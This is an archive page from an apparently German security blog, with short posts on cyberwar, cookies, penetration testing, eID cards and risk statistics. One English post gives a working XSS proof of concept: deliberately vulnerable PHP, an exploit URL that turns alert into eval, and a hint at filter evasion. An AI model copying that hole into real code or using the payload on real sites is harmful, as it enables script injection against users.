Archiv der Kategorie: Forschung

Cyber-Krieg, nüchtern betrachtet

Begriffe, Forschung, IT, Security, Vulnerability, Wahrnehmung, ,

Die Süddeutsche hat James A. Lewis (vermutlich den hier) zum Thema Cyberwar interviewt. Herausgekommen ist eine Reihe vernünftiger Ansichten wie diese:

»Ein Staat würde für den Einsatz von Cyberwaffen die gleiche Art militärischer Entscheidungen vornehmen wie für jede andere Art von Waffen. Welchen Vorteil bringt es, die Stromversorgung zu kappen? Und was sind die Risiken dabei? Wenn die USA und China im südchinesischen Meer kämpfen, ist das ein begrenzter Konflikt. Wenn China zivile Ziele auf dem Gebiet der USA attackiert, ist das eine ungeheure Eskalation, die das Risiko birgt, dass die USA auf chinesischem Boden zurückschlagen. Streitkräfte werden gründlich darüber nachdenken, bevor sie einen solchen Angriff wagen. Dazu kommt, dass solche Attacken schwierig sind, und wir dazu neigen, den Schaden zu überschätzen, den sie anrichten. Ich kann mir nicht vorstellen, warum jemand sich die Mühe machen sollte, die Wasserversorgung anzugreifen.«

(sueddeutsche.de: „Wir müssen unsere Verteidigung stärken“)

Lewis betrachtet das Thema nicht im Hollywood- oder Scriptkiddie-Modus, sondern konsequent aus einer militärischen Perspektive. Militärs handeln rational, sie verfolgen taktische und strategische Ziele mit verfügbaren Mitteln und gegen die Handlungen eines Gegeners. Daraus ergibt sich auch das Angreifermodell, das der Verteidigung zugrunde liegt, wie oben im Zitat illustriert. Cyber-Krieg, so Lewis‘ Paradigma, ist keine neue Form des Krieges, die andere verdrängt, sondern eine neue Waffengattung, die den Krieg nicht grundlegend reformiert.

Geisterfahrerzählung

Risiko, Safety, Unterwegs, Zahlenspiele, , , ,

Wieviele Geisterfahrer gibt es eigentlich? Der ADAC hat gezählt:

»Im Zeitraum von Dezember 2008 bis Dezember 2009 seien demnach 2800 Falschfahrer im Radio gemeldet worden. Bei den zwölf Unfällen, die dadurch verursacht worden seien, hätten insgesamt 20 Menschen ihr Leben verloren.«

(Spiegel Online: Geisterfahrer: Plötzlich falsch unterwegs)

Das sind ungefähr siebeneinhalb pro Tag, bundesweit. Mancher Radweg schafft diesen Wert pro Minute.

Causal Insulation

Begriffe, Classifier Security Model, English, Philosophie, Security, , , , , , ,

I just came across an essay by Wolter Pieters that complements my 2009 NSPW paper (mentioned here and here in this blog before) in style and content. In The (social) construction of information security (author’s version as PDF), Pieters discusses security in terms of causal insulation. This notion has its roots in Niklas Luhmann’s sociological theory of risk. Causal insulation means that to make something secure, one needs to isolate it from undesired causes, in the case of security from those that attackers would intentionally produce.On the other hand, some causes need to be allowed as they are  necessary for the desired functioning of a system.

I used a similar idea as the basis of my classifier model. A system in an environment creates a range of causalities—cause-effect relationships—to be considered. A security policy defines which of the causes are allowed and which ones are not, splitting the overall space into two classes. This is the security problem. Enforcing this policy is the objective of the security design of a system, its security mechanisms and other security design properties.

A security mechanism, modeled as a classifier, enforces some private policy in a mechanism-dependent space, and maps the security problem to this private space through some kind of feature extraction. In real-world scenarios, any mechanism is typically less complex than the actual security problem. The mapping implies loss of information and may be inaccurate and partial; as a result, the solution of the security problem by a mechanism or a suite of mechanisms becomes inaccurate even if the mechanism works perfectly well within its own reference model. My hope is that the theory of classifiers lends us some conceptual tools to analyze the degree and the causes of such inaccuracies.

What my model does not capture very well is the fact that any part of a system does not only classify causalities but also defines new causalities, I’m still struggling with this. I also struggle with practical applicability, as the causality model for any serious example quickly explodes in size.

Unterschätzte Risiken: Kinderüberraschung

Safety, Unterschätzte Risiken, Unterwegs, Verboten, Zahlenspiele,

Laptopdurchsuchung an der Grenze? Pah! Viel eifriger ist der amerikanische Zoll im Beschlagnahmen von Überraschungseiern:

»The U.S. takes catching illegal Kinder candy seriously, judging by the number of them they’ve confiscated in the last year. Officials said they’ve seized more than 25,000 of the treats in 2,000 separate seizures.«

(CBS News: Kinder Surprise egg seized at U.S. border)

 

Cookies, Clients und die Cloud

Datenkrake, Datenschutz, Forschung, Freundlich zum Nutzer, Regierungsviertel, Spackeria, Wolkenkuckucksheim, Zeitmaschine, , , , , , , , ,

Politiker und Bürokraten wollen die Verwendung von Cookies gesetzlich regulieren, erst die EU (mit unklarem Regelungsgehalt und schleppender Umsetzung), ein paar Jahre später nun auch die SPD. Warum ist das blöd? Ich hole mal etwas weiter aus:

Persönliche Computer, PCs, waren in den 70er und 80er Jahren des letzten Jahrhunderts eine große Sache. Jedem seinen eigenen Computer, klein genug für den Schreibtisch und mit verschiedenen Anwendungsprogrammen für vielerlei Zwecke einsetzbar, das hatte es vorher höchstens als Vision gegeben. Aus dieser Frühzeit der Jedermann-IT stammen viele Vorstellungen, die wir noch heute hegen, darunter die Wurzeln unseres Datenschutzes.

Auf den ersten Blick hat sich seitdem wenig geändert. Aus dem PC auf Arbeit wurde ein Gerätezoo für alle Lebenslagen aus PCs, Note- und Netbooks, Smartphones, Tablets, Internetradios, Spiekonsolen und so weiter, technisch im Grunde genommen immer noch persönliche Computer, nur schöner und kleiner und schneller. Seit den 90er Jahren folgte dem Jedermann-Computer das Jedermann-Netz und im folgenden Jahrzehnt wurde dieses Netz mobil und sozial. Allen Schichten gemein ist, dass ihre Nutzer in Selbstbedienung nach Bedarf Dienste einkaufen, die nach dem Umfang der Nutzung bzw. den zugesicherten Ressourcen abgerechnet werden. Dienstanbieter stellen aus einem Pool an Ressourcen ohne Zeitverzug die jeweils nachgefragten Dienste bereit.

Die jetzige Dekade wird das Jahrzehnt des Cloud Computing. So wie der PC in den 70ern entstand und in den 80ern seinen Namen bekam und sich verbreitete, ist Cloud Computing keine ganz neue Sache, sondern längst erfunden, einsatzbereit und zum Teil auch schon etabliert. Neu ist nur, dass es jetzt einen Namen dafür gibt und alle ein Geschäft wittern, nachdem die Early Adopters vorgemacht haben, dass es funktioniert.

Cloud Computing bedeutet, dass ein Großteil der IT als Dienst ins Netz wandert. Das kann auf verschiedenen Abstraktionsebenen geschehen. Infrastructure as a Service (IaaS) bietet virtuelle Maschinen und Speicher, Platform as a Service (PaaS) liefert Anwendungsplattformen und Software as a Service (SaaS) schließlich macht Anwendungssoftware zu einem Dienst. Ein Beispiel für SaaS ist wordpress.com, wo dieses Blog gehostet wird. Die Schichten lassen sich stapeln, ein SaaS-Anbieter kann auf PaaS-Dienste zurückgreifen, die sich ihrerseits auf IaaS stützen. Die unteren Schichten IaaS und PaaS sind vor allem für Unternehmen interessant, während SaaS in Form von allerlei Webdiensten längst Teil unseres Alltags ist und die klassische Nutzung von Anwendungssoftware auf einem PC teils ersetzt, teils ergänzt.

Geht es um Sicherheit und Datenschutz im Cloud Computing, starren alle wie gebannt auf die Dienstseite. Daten wandern ins Netz, ob aus dem Rechenzentrum eines Unternehmens oder vom heimischen PC, und man weiß nicht genau, wo sie eigentlich gespeichert und verarbeitet werden. Das macht Angst und wirft technische, organisatorische und rechtliche Fragen auf. Hinzu kommt, dass der Übergang von Software in Kartons zu Diensten im Netz in Verbindung mit agilen Entwicklungsmethoden die Softwareentwicklungs- und -lebenszyklen verändert. Es gibt kein Google 3.0, das ich kaufen und dann ein paar Jahre verwenden könnte, sondern Änderungen am Dienst im Wochen-, Tage-, Stunden- und sogar Minutentakt. Continuous Deployment und DevOps nennen wir diese bewusste Vermischung von agiler Entwicklung und Produktivbetrieb.

Ein SaaS-Dienst ist nicht in sich abgeschlossen und unabhängig vom Rest des Netzes, sondern es handelt sich, für Nutzer manchmal schwer erkennbar, um eine Aggregation mehrerer Anwendungs- und Hilfsdienste, ergänzt um spezifische Funktionen des aggregierenden Hauptdienstes. Like-Buttons, Widgets, Videos, RSS-Feeds, Analytics, Werbebanner, Nutzerkommentare, Payment, Fonts und so weiter stützen sich auf Fremddienste, die, oft clientseitig, in den Hauptdienst integriert werden. Hilfsdienste haben meist ihren eigenen Betreiber und sie werden in viele verschiedene SaaS-Dienste eingebunden.

Weniger Aufmerksamkeit erhält beim Blick auf die Cloud die irdische Hälfte des Systems, die Client-Seite. Cloud-Dienste besitzen praktisch immer ein Webinterface, mindestens fürs Management, oft auch – und bei SaaS sowieso – für den eigentlichen Dienst. Der Nutzer bekommt damit eine universelle Client-Umgebung, bestehend aus einem Browser mit generischen Plugins (Flash, Java, Silverlight) und Unterstützungsanwendungen (PDF-Viewer, Office, iTunes) auf dem klassischen PC oder aus einem Browser und anwendungsspezifischen Apps auf mobilen Gadgets wie Smartphones oder Tablets.

Nach dieser langen Vorrede nun zurück zu den Cookies. Das Konzept des Cookies wird demnächst volljährig, es handelt sich ursprünglich um kleine Datenhäppchen, die eine Website einer Browserinstanz zur Speicherung übermittelt. Der Browser merkt sich diese Daten und schickt sie für einen festgelegten Zeitraum bei jeder weiteren Interaktion mit der Website dorthin zurück. Heute gibt es darüber hinausgehende Persistenzmechanismen auch für größere Datenmengen im Browser selbst sowie in verbreiteten Plugins, zum Beispiel im Flash Player.

Jeder Dienst in einer SaaS-Aggregation kann Cookies setzen und mit Hilfe dieser Cookies Daten über das Nutzerverhalten über alle Dienstnutzungen hinweg erfassen und sammeln. Die aggregierten Hilfsdienste erhalten dabei Daten aus verschiedenen SaaS-Anwendungskontexten verschiedener Anbieter und sind gleichzeitig für den Nutzer schwer zu identifizieren. Datenschützer stellen zu Recht die Frage, wie die Dienstnutzer unter diesen Bedingungen wirksam von ihrem Recht auf informationelle Selbstbestimmung Gebrauch machen können. Sie geben darauf aber die falschen Antworten.

De jure und traditionell wäre das Problem durch Kommunikation und Vereinbarungen des Nutzers mit jedem einzelnen involvierten Dienstanbieter zu lösen. Aggregierte Hilfsdienste als Auftragsdatenverarbeitung unter einer Vereinbarung zwischen dem Nutzer und dem Anbieter des Hauptdienstes zu subsumieren, wie es etwa für Analytics-Dienste diskutiert wurde,  vereinfacht die Sache wegen der Mehrfacheinbettung der Hilfsdienste in verschiedenste SaaS-Anwendungen nur scheinbar. Außerdem ändert sich permanent irgendwo irgendwas, so dass wir als Nutzer am Ende nur noch mit Zustimmen beschäftigt wären, wenn uns keine Generalvollmacht diese Mühe abnimmt. Erforderlich sind Lösungen, die die Architektur von SaaS-Mashups und der Client-Plattform als gegeben hinnehmen und darauf effektive Mechanismen für den technischen Datenschutz bereitstellen.

Cookies sind dabei nur ein wenig kritisches Randphänomen. Da sie clientseitig gespeichert werden, lässt sich ihre Speicherung und Übermittlung auch clientseitig effektiv steuern. Verbesserungsbedarf gibt es dabei vor allem in der Usability. Wünschenswert wäre zum Beispiel ein einheitliches User Interface für Einstellungen über alle Teilsysteme (Browser, Plugins, Apps, etc.) des Clientsystems hinweg anstelle getrennter, inkonsistenter Management-Schnittstellen für Cookies, Persistent DOM Storage und Flash-Cookies. Sinnvoll fände ich auch eine Möglichkeit, meine Datenschutzeinstellungen zwischen meinen fünf regelmäßig genutzten Clientsystemen zu synchronisieren statt fünfmal dasselbe konfigurieren zu müssen. Aber Clientsysteme und ihre Eigenschaften kommen in der Diskussion oft gar nicht vor. Soll ich ernsthaft mit dreiundzwanzig Diensten Vereinbarungen treffen, statt mir einmal eine Policy zusammenzuklicken, die meine eigene Technik für mich durchsetzt? P3P hatte zwar Schwächen und hat sich nicht durchgesetzt, aber damals hat man doch immerhin noch das Gesamtsystem angeschaut und eine Komponente an die richtige Stelle gesetzt, nämlich in den Client.

Mit formalisierten Rechtsritualen aus der Frühzeit der Alltags-IT ist das Problem nicht in den Griff zu bekommen. Gesucht sind effektive und benutzbare Mechanismen. Das ist die technische Sicht, die politische Dimension hat Benjamin Siggel vor einiger Zeit im Spackeria-Blog betrachtet.

Flawed Security Economics

English, Geschäft, Preisschild, Security, , , ,

I just stumbled upon a piece of economics-of-security reasoning that amazes me:

»Bank robbers steal approximately $100 million per year in the US. (…) To prevent this, banks spend $600 million per year on armored car services and $25 million per year on vault doors. The FBI spends $50 million per year investigating robberies. A good deal more is spent on security guards—approximately 1 million in the US, paid about $24 billion per year (outsourcing makes it difficult to say how many work for banks). In summary, the cost of protecting against bank robberies far exceeds the loss.«

(Michael Lesk, Cybersecurity and Economics, IEEE S&P Nov./Dec. 2011)

I don’t doubt the figures, but the conclusion does not make sense to me. Why should one put the cost of security measures in relation to the losses that they don’t prevent? The $100 million per year are the losses that remain after security. What the security investment prevents is the losses that would occur without it, not the losses that continue to occur despite the effort. I’d love to see an estimation of this quantity. The author even gives a hint towards the possible magnitude, as he continues:

»To look at a less safe society, in a single 2007 bank robbery in Baghdad, robbers made off with $280 million (it was an inside job).«

Perhaps it is even normal for the cost of security to exceed the losses that remain, once the security spending has been optimized?

Using an Inappropriate Classifier As a Security Mechanism

Classifier Security Model, English, Geschäft, IT, Rechtsabteilung, Security, Video, , , , , ,

Zed Shaw has a story to tell about ACLs (Access Control Lists) as a common security mechanism and how they are incapable of modeling actual regulatory requirements:

http://vimeo.com/2723800
(Vimeo: The ACL is Dead)

It’s not really a talk about ACLs, it’s really about how companies work and how to survive and stay sane inside enterprises. I’ll focus here, however, on the technical issue that he uses as a hook.

He poses the technical problem as »ACLs not being Turing-complete«. According to my favorite abstraction of security mechanisms, the classifier model, ACL access control schemes are a type of classifier that does not fit the problem. All security mechanisms distinguish deny from allow, just in different sets of entities and with different boundaries between the two subsets. A low complexity classifier can handle only subsets with a simple boundary between them—most entities have only neighbors of the same class, and those near the boundary have other-class neighbors only in one direction—whereas a complex classifier can model more complex class distinctions. The most complex classification would be a random assignment of classes to entities.

Two things (at least) affect the complexity that a classifier can handle: classifier design and feature extraction. Classifier design defines the boundaries that a classifier can model. Feature extraction defines the parameters or dimensions available to the classifier, the degree of abstraction with which the classifier sees the world. Authentication for instance has a high degree of abstraction, it can distinguish entities but nothing else. Access control is richer in the parameters it uses, including besides the identity of entitites also properties of objects and actions. Yet, as the talk illustrates, these dimensions are not sufficient to properly express regulatory requirements. Whether this is a problem of the mechanism or a problem of the requirements I leave for the reader to ponder.

The Point of Penetration Testing

English, Geschäft, IT, Security, Testlabor, Vulnerability, , , , ,

I’m glad to see that the community starts to acknowledge what penetration testing really means. We never encountered the empty hands issue as we never sold the let’s-see-if-we-can-hack-it kind of a penetration test. We carry out vulnerability assessments based on whichever information we can get about a system or product, the more the better, and use testing as a means of getting more, or clarifying information. The point of a penetration test is not to find and demonstrate one or a handful of arbitrary attacks, the point of a penetraion test is to identify vulnerabilities that need attention. Sure, it is fun to give an uberhacker demo after the test, and we do that, too, if we’ve found gaping security holes. But more important in a penetration test is good coverage of the potential vulnerabilities, and a sound assessment of their importance, relative to the purpose and risk profile of a system. I even remember pentesting projects where we found only a few relatively minor issues in a low-risk website – and made our clients happy by telling them just that. There is really no need to be disappointed if a penetration test ends without a root shell. There is no point in withholding information from testers, reducing their efficiency. And there is no point in testing just the infrastructure but not the applications.

Neat XSS Trick

English, Hackmeck, IT, Security, So geht das, Testlabor, , , , , ,

I just learned a neat XSS trick from a blog post by Andy Wingo. This is old news to the more proficient web application testers among my readers, but it was new to me and I like it. I wasn’t aware that one could redirect function calls in JavaScript so easily:

somefunction = otherfunction;

somewhere in a script makes somefunction a reference to otherfunction. This works with functions of the built-in API, too, so any function can become eval:

alert = eval;

or

window.alert = eval;

So if you can inject a small amount of script somewhere, and a function parameter elsewhere, you can turn the function that happens to be called into the eval you need. This PHP fragment illustrates the approach:

<?php
// XSS vulnerability limited to 35 characters
print substr($_GET["inject1"], 0, 35);
?>

<script>
// URL parameter goes into a seemingly harmless function - which we
// can redefine to become eval
<?php $alertparam = htmlspecialchars(addslashes($_GET["inject2"]), ENT_COMPAT ); ?>
alert('<?=$alertparam?>');
</script>

The first PHP block allows up to 35 characters to be injected into the page unfiltered through the inject1 URL parameter, just enough to add to the page this statement:

<script>alert=eval;</script>

or

<script>window.alert=eval;</script>

The second block embeds the value of the inject2 URL parameter in JavaScript as the parameter of alert() after some (imperfect) escaping. This one has unlimited length but goes into a seemingly harmless function – until somebody exchanges the function behind the identifier alert.

To see it work, put the PHP code on your web server and call it with a URL like this:

xss.php?inject1=<script>window.alert=eval;</script>&inject2=prompt('Did you expect this? (Yes/No)');

This works fine with Firefox 9 and, if XSS filter is disabled, IE 9. Safari 5.1.2 silently blocks the exploit, telling me about it only in debug mode. If you really need to, you’ll probably find an evasion technique against client-side XSS filters. IE seems to need window.alert, while Firefox is happy with just alert in inject1.

Fünf Blüten auf 10.000 Einwohner

Preisschild, Zahlenspiele,

»Rund 39 000 gefälschte Geldscheine registrierte die Notenbank im vergangenen Jahr mit einem Schaden von 2,1 Millionen Euro. Im Vorjahr hatten 60 000 Falschnoten noch Einbußen von 3,4 Millionen Euro verursacht.
(…)
Rechnerisch kommen jährlich fünf (2010: sieben) Blüten auf 10 000 Einwohner. Im gesamten Euro-Raum liegt das Verhältnis bei 18 Fälschungen auf 10 000 Einwohner.«

(Echo Online: Weniger Euro-Blüten beschlagnahmt als je zuvor)

Der Sicherheitsbegriff im Wandel

Begriffe, Forschung, Safety, Security

Was die Politik unter Sicherheit versteht, ändert sich im Laufe der Zeit. Gabi Schlag beschäftigt sich mit dem Begriff und seinem Wandel. Auszug:

»Spätestens seit den 1990er Jahren, so haben viele Kommentatorinnen und Experten angemerkt, zeichnet sich jedoch eine erneute begriffliche Transformation ab: immer häufiger reden wir über Risiko und Vorsorge, über Gefährdungen als Folge von Modernisierung und Technologisierung unserer Gesellschafts- und Arbeitswelt. Die Risikosemantik, so Christopher Daase und Oliver Kessler (2008), rekurriere dabei auf eine Redefinition von Ungewissheit und Wahrscheinlichkeit und führe zu einem Sicherheitsparadox: Sicherheitspolitik reagiert nicht mehr nur auf Gefahren, sondern produziert gleichsam neue Sicherheitsprobleme.«

(sicherheitskultur.org | Blog)

Unterschätzte Risiken: Sepsis

Unterschätzte Risiken, Zahlenspiele, , ,

Die meisten Menschen sterben bekanntlich im Bett, zum Beispiel so:

»Das Kompetenznetz Sepsis hat vor wenigen Jahren nachgewiesen, dass in Deutschland jeden Tag 162 Patienten an dieser Eskalation sterben. Die Zahl ist fast so hoch wie die Zahl der Herzinfarkttoten. Damit ist die Sepsis die dritthäufigste Todesursache, obwohl sie nur selten in der Todesursachenstatistik erscheint, weil dort nur die Grunderkrankungen gelistet werden. Ein Drittel aller intensivmedizinischen Kosten entstehen bei der Behandlung der Sepsis.«

(FAZ.NET: Sepsis-Therapie: Infektion außer Kontrolle)

The German eID system explained and discussed

English, Forschung, ID, IT, Regierungsviertel, Security, Testlabor, , , , , ,

We just finished reviewing the final, ready-to-print version of our article Electronic Identity Cards for User Authentication—Promise and Practice, which will appear in the upcoming issue of IEEE Security & Privacy Magazine (vol. 10, no. 1, jan/feb 2012, DOI: 10.1109/MSP.2011.148). We outline how the German eID system works and discuss application issues. Here is our abstract:

Electronic identity (eID) cards promise to supply a universal, nation-wide mechanism for user authentication. Most European countries have started to deploy eID for government and private sector applications. Are government-issued electronic ID cards the proper way to authenticate users of online services? We use the German eID project as a showcase to discuss eID from an application perspective. The new German ID card has interesting design features: it is contactless, it aims to protect people’s privacy to the extent possible, and it supports cryptographically strong mutual authentication between users and services. Privacy features include support for pseudonymous authentication and per-service controlled access to individual data items. The article discusses key concepts, the eID infrastructure, observed and expected problems, and open questions. The core technology seems ready for prime time and government projects deploy it to the masses. But application issues may hamper eID adoption for online applications.

We think that eID functions of government-issued ID cards will not replace means of everyday online authentication. With eID, there will be few new use cases for ID cards, eID just supports online versions of the traditional use cases. Most of the traditional use cases in Germany involve bureaucracy or legal requirements: legal protection for children and young persons, required identification of mobile phone users or bank account holders, or procedures of administrative bodies involving »Ausweis bitte!« at some point. For those who followed the debate and rollout in Germany, there should be nothing new in our article, but the article may come in handy as a reference for international audiences.

Our article will be in good company as it will appear in a theme issue on authentication. If I read the preprints collection correctly, there will be a user study by Amir Herzberg and Ronen Margulies,  Training Johnny to Authenticate (Safely), and an article by Cormac Herley and Paul van Oorschot, A Research Agenda Acknowledging the Persistence of Passwords (authors‘ version). It seems sexy to many to call the days of the password counted—IBM just predicted password authentication would die out soon—but if I had to make a bet I would follow Cormac and Paul.

The final version of our article will be paywalled by IEEE, but you can find our preprint with essentially the same contents on our website.

Risikoanalyse für Gauner

Geschäft, Preisschild, Risiko, Zahlenspiele, ,

FAZ.NET präsentiert in einer Galerie von Infografiken dieses schöne Stück, das die Aufklärungsquoten verschiedener Verbrechens- und Vergehensarten zeigt und ordnet. Demnach werden Geldfälscher, Geiselnehmer und Autohehler fast immer gefasst, Autoknacker sowie Auto- und Taschendiebe hingegen fast nie. Zur Berufsberatung für legalitätsflexible Arbeitssuchende fehlen jetzt noch analoge Aufstellungen der mittleren Gewinne pro Tat sowie der mittleren Strafe, falls man erwischt wird. Mit diesen Angaben könnten wir ausrechnen, welche Verbrechen sich lohnen. Falls jemand Zahlen hat oder Leute kennt, die Zahlen haben, her damit.

Eine gute Idee schlecht umgesetzt

Freundlich zum Nutzer, IT, Zahlenspiele, ,

Das Infor­mations­system der Gesund­heits­bericht­erstat­tung des Bundes ist eine Fundgrube für statistische Gesundheitsdaten, die Joseph Kuhn vom Gesundheits-Check zu Recht empfiehlt. Dort erfahren wir zum Beispiel, dass in der Bundesrepublik des Jahres 1989 aus jeder Milli0n Personenkilometer für Kfz-Insassen 1,31 verlorene Lebensjahre resultierten, aus dem Radfahren hingegen nur 0,02 und damit weniger als aus der Benutzung von Bus (0,11) und Bahn (0,05).

Diese Tabelle hätte ich gerne verlinkt, aber da fängt der Ärger an. Die Inhalte haben keine festen URLs, sondern die Site merkt sich die Navigation ihres Benutzers irgendwo in ihrem Session Management. Wer die Site in mehreren Tabs oder Fenstern öffnet, bekommt beim Reload einer Seite Schwierigkeiten, und verlinken lässt sich anscheinend nur eine Fehlermeldung, aber kein Inhalt.

Stärken zeigt die Site nur in der Erfüllung formaler Anforderungen, vulgo: Compliance. Auf der Startseite prangen CSS- und HTML-Validator-Buttons, und barrierenfrei gibt man sich auch. Das ist nur leider völlig bedeutungslos, solange die Grundfunktionen kaputt sind.

Vielleicht hätten sie die Site nicht in der DDR bei Robotron bauen lassen sollen. Genau danach sieht sie nämlich aus.

0,00035-mal tot

Angst, Risiko, Safety, Zahlenspiele, , ,

Die Rad-Spannerei hat sich mehr Mühe gegeben als ich neulich und konkrete Zahlen zum Risiko beim Radfahren zusammengetragen und in Relation zum allgemeinen Lebensrisiko gesetzt:

»Pro 100 Millionen Personenkilometer gab der ADAC in Fachbroschüren am Anfang des Jahres 1,6 getötete Radfahrer an (Link). Für Berlin kann man folgendes berechnen: Gut 1 Millionen Fahrten täglich*, als Durchschnittstrecke wurde im Jahr 2006 vom Senat ein Wert von ca. 3,8 Kilometern angegeben. Das sind pro Jahr ca. 1,4 Milliarden Fahrradkilometer, auf denen sich jeweils 500 Personen schwer verletzen und etwa 10 sterben. So berechnet gibt es pro 100 Millionen Personenkilometer 0,7 Tote und 35 Schwerverletzte. Wer pro Jahr 3000 Kilometer fährt, wird dabei 0,00021 Tote erzeugen und 0,00105 Schwerverletzte.«

Die Schlussfolgerung bleibt dieselbe. Nach dieser Rechnung werde ich bei 5000km in diesem Jahr im Mittel 0,00035-mal an einem Fahrradunfall sterben oder einmal in 2857 Jahren. Selbst wenn sie sich um eine Größenordnung, d.h. den Faktor 10 verschätzt hätten, bekäme ich keine Angst. Ich kenne nämlich keinen, der in 2857 oder auch in 286 Jahren nicht gestorben wäre, woran auch immer.

Die Schwächsten

Regierungsviertel, Risiko, Safety, Zahlenspiele, ,

»Im Übrigen glaube ich, dass wir mit der Radhelmpflicht bei den schwächsten Verkehrsteilnehmern beginnen sollten.«

– Christian Carius (CDU), Verkehrsminister in Thüringen

Bei wem sollte man unsinnige Gängelung auch sonst einführen? Natürlich tut man das bei denen, die sich am wenigsten wehren werden, eben bei den Schwächsten. Um deren Sicherheit geht es dabei nicht, sondern um die willkürliche Verordnung einer Kopfbedeckung. Fast die Hälfte der im Straßenverkehr getöteten Kinder unter 15 stirbt im Auto, ein weiteres Viertel auf dem Fahrrad. Doch einen Autohelm für Kinder fordert niemand. Insgesamt verunglückte 2010 etwa dieselbe Anzahl von Kindern in Kraftfahrzeugen bzw. auf Fahrrädern. Das Todesrisiko beim Mitfahren in einem Auto liegt also pro Unfall weit höher als jenes auf dem Fahrrad. Und das trotz dem Umstand, dass typische Radverkehrsführungen ihre Benutzer an jeder Kreuzung in Gefahr bringen, wie neben jedem Radfahrer inzwischen auch die Berliner Polizei weiß:

»Allerdings sieht die Polizei auch eine „Hochrisikogruppe“ bei den Radfahrern. „Es ist die Zahl derjenigen, die sich auf ihre Vorfahrt verlassen und ohne umsichtigen Blick zum Autoverkehr bei Grün über die Radfurt fahren.“«

– Tagesspiegel, Radler und Fußgänger leben wieder gefährlicher

Wer auf dem Radweg bei Grün geradeaus über eine Kreuzung fährt, riskiert Gesundheit und Leben.  Wollte der Verkehrsminister aus dem Wald etwas für die Verkehrssicherheit tun, könnte er hier ansetzen und sich überlegen was zu tun wäre, damit der Vertrauensgrundsatz auch für Radfahrer gilt, die bei Grün geradeaus über eine Kreuzung fahren. Das will er aber nicht. Er will nur eine Kopfbedeckung vorschreiben wie ein Islamist das Kopftuch und damit bei den Schwächsten anfangen, von denen er den geringsten Widerstand erwartet.

Homecomputer im Test

Freundlich zum Nutzer, Gadget, IT, Nerds, Testlabor, Wahrnehmung, , , ,

Damals wusste man noch nicht so recht, was man mit einem Computer zu Hause anstellen soll, und arbeitete sich an offensichtlichen, aber nicht unbedingt nützlichen Anwendungen ab:

Wer beispielsweise die Bestände seines gut sortierten Weinkellers elektronisch speichern möchte, müßte – sobald ihm der Sinn nach einem edlen Tropfen steht – folgende Prozedur hinter sich bringen: Heimcomputer einschalten, Programmkassette in den Recorder einlegen, Programm laden, Kassette wechseln und »Weinkellerdaten« in den Rechner einlesen, Befehl zur Auswahl eines trockenen ’82er Württembergers eingeben, eintragen in den Daten bestand, dass die Flasche nun bald geleert sein wird. Schreiben der gesamten Daten zurück auf die Kassette. Wegräumen der Kassetten und Ausschalten des Rechners. Während der elektronisch ausgerüstete Weinkenner nun den Weg in den Weinkeller antritt. um die richtige Flasche zu suchen, hebt der technisch rückständige Bacchant gerade das weite Glas und trinkt auf die gute alte Zeit, als man Wein noch mit Kennerblick auswählte.